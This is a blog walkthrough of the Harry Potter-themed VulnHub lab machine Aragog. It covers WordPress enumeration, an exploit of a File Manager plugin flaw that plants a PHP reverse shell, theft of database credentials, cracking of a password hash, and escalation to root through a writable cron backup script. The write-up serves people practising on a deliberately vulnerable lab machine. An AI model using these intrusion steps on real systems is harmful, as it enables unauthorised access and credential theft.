Vulnhub – Aragog Walkthrough – Writeup – Harry Potter

Harry Potter is one of the greatest movie and book series for no doubt. On the other hand, the VulnHub series by Mansoor R is one of the best challenges I have done. We can say that the hacking series is based on the original series where we have to identify horcruxes placed by Voldemort in three machines whose difficulty range from easy to hard.

Aragog is the first machine of the series like we saw Aragog the first time in the second movie of the series Harry Potter. Here we have to identify two of the eight horcruxes.


I prefer fping to detect the live hosts.

fping -aqg

As seen above is my target machine whereas is my attacker machine.

The next stuff will be nmap scan.

ports=$(nmap -p- --min-rate=1000 -T4 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV

There are two services open, ssh and http.

Now, let’s begin with http.

We saw a nice banner in the main page. So, we have to fire up the directory browsing. I normally use dirb for the purpose.


We have a blog on the server. Let’s see what the blog is about.

The important keywords are highlighted from the page above. Hence, we might guess that there might be some vulnerable plugins. Also, since the website is using wordpress, we will be using wpscan for going deeper. Also, make sure you have wpscan API token to identify vulnerable plugins.

wpscan --api-token=$WPSCAN_KEY --url= -e p --plugins-detection aggressive

As we saw in the screenshot above, there is a vulnerability in the plugin File Manager that could allow executing code remotely. Let’s visit the link that I have highlighted.

There is a proof of concept which we can utilized for the exploitation. I have already downloaded that file and run it. I know the command, so I will execute it.


The link generated also expects payload.php in the same folder which will be our webshell. Therefore, we will copy the webshell which is available in Kali Linux. Likewise, we will listen in netcat.

cp /usr/share/webshells/php/php-reverse-shell.php ./payload.php
mousepad payload.php&

Now, we have to update the variables ip and port to our attacker machine. Then, we will listen to the port using netcat.

nc -nlvp 4444

Now, let’s visit the link above.

We got the reverse shell.

Privilege User

Let’s clean up the terminal so that we could have some autocompletion and other stuff.

export TERM=xterm
python3 -c 'import pty;pty.spawn("/bin/bash")'
stty raw -echo;fg
stty columns 173 rows 98

Now, we have autocompletion.

Now, let’s check some common directories to find the wordpress website because we might get the credentials of the user from there.


We found a directory wordpress in /usr/share. However, we might not be lucky always. So, I suggest tools like Since /tmp is an area to write, we can send from our attacker machine to the target machine.

On attacker machine, server the directory where is present.

python3 -m http.server 9000

On target machine, we can do the following.

cd /tmp
chmod +x
./ | tee output

Anyways, the directory of the wordpress is /usr/share/wordpress. Also, there is a file wp-config.php in every wordpress installation which provided basic configurations.

cat /usr/share/wordpress/wp-config.php

The highlighted portion of the code surely tells us that the configuration file lies in the directory /etc/wordpress.

cd /etc/wordpress
ls -al

There we have a config-default.php file whose contents are as follows.

Now, we can log into mysql and also might try the password of the user in the machine. Let’s run some more commands.

cat /etc/passwd
ls -al /home

Both of the outputs say that we have two users ginny (love interest of harry) and hagrid98 (the gatekeeper). Actually, we can change directory to these directories.

cd /home/hagrid98
ls -al

So, let’s view the horcrux and what it says.

cat horcrux1.txt

The result is:


Again, the payload inside the curly braces is a base64 ecoded strings. Now, let’s decode that.

echo "MTogUmlkRGxFJ3MgRGlBcnkgZEVzdHJvWWVkIEJ5IGhhUnJ5IGluIGNoYU1iRXIgb2YgU2VDcmV0cw==" | base64 -d

The message says:

1: RidDlE's DiAry dEstroYed By haRry in chaMbEr of SeCrets

The next step is to login to mysql.

mysql -u<<user from wp-config>> -p<<password from wp-config>>

Now, let’s pay a visit to users table of wordpress where it stores the password hashes.

USE wordpress;
SELECT * FROM wp_users;

We got a hash for the user hagrid98. Likewise, we can hope that the user has used the same password in the machine as well. Let’s run john the ripper using the wordlist rockyou.txt. I have put rockyou.txt on my home directory. Firstly, we have to copy the hash to a file, say hash.

john hash --wordlist=/home/kali/rockyou.txt

Sadly, Hagrid has used poor password because maybe he forgets a lot.

Let’s use the password to switch the user to hagrid98.

su hagrid98

Finally, we got the access to hagrid98’s account.

Privilege Root

Let’s first login using SSH for better experience from attacker’s machine.

ssh hagrid98@

Now, if we open the output file of the result of, we see that there is a script /opt/

Let’s open that script.

cd /opt

It seems as if the uploads of the website is copied to some other locations in some intervals. There is a tool called pspy which listens for any events that occur in the system. We can modify the script to copy the bash binary and set the suid of the user who runs the script. So, if that happens, we can switch to that user with -p flag. Not to mention that the user hagrid98 already has write-access to the file.

Before that let’s get the pspy binary to the target machine like above step (how we got Also, let’s login to the machine in another terminal as well using ssh.

chmod +x pspy64

After waiting for some time, it looks like the root user executes the backup script.

This means, we can modify the file in such a way that while the root user is executing, it also sets suid permission.

Let’s wait for another cron job. After some time, we got a suid bash binary in /tmp.

Basically, suid permissions allow other users to act as the user who has the permissions. So, in this case we can either execute /tmp/bash as hagrid by simple issuing /tmp/bash or we can execute the same script as root by /tmp/bash -p

/tmp/bash -p

Now, we are working on behalf of root.

cd /root
ls -al
cat horcrux2.txt

Now the second horcrux is as follwong.


Decoding that, we get.

2: maRvoLo GaUnt's riNg deStrOyed bY DUmbledOre


This is the easiest machine in the series. As I have already completed all of them, I can assure you the fun part is still yet to come. I hope you liked this walkthrough.

5 1 vote
Article Rating
Notify of
Newest Most Voted
Inline Feedbacks
View all comments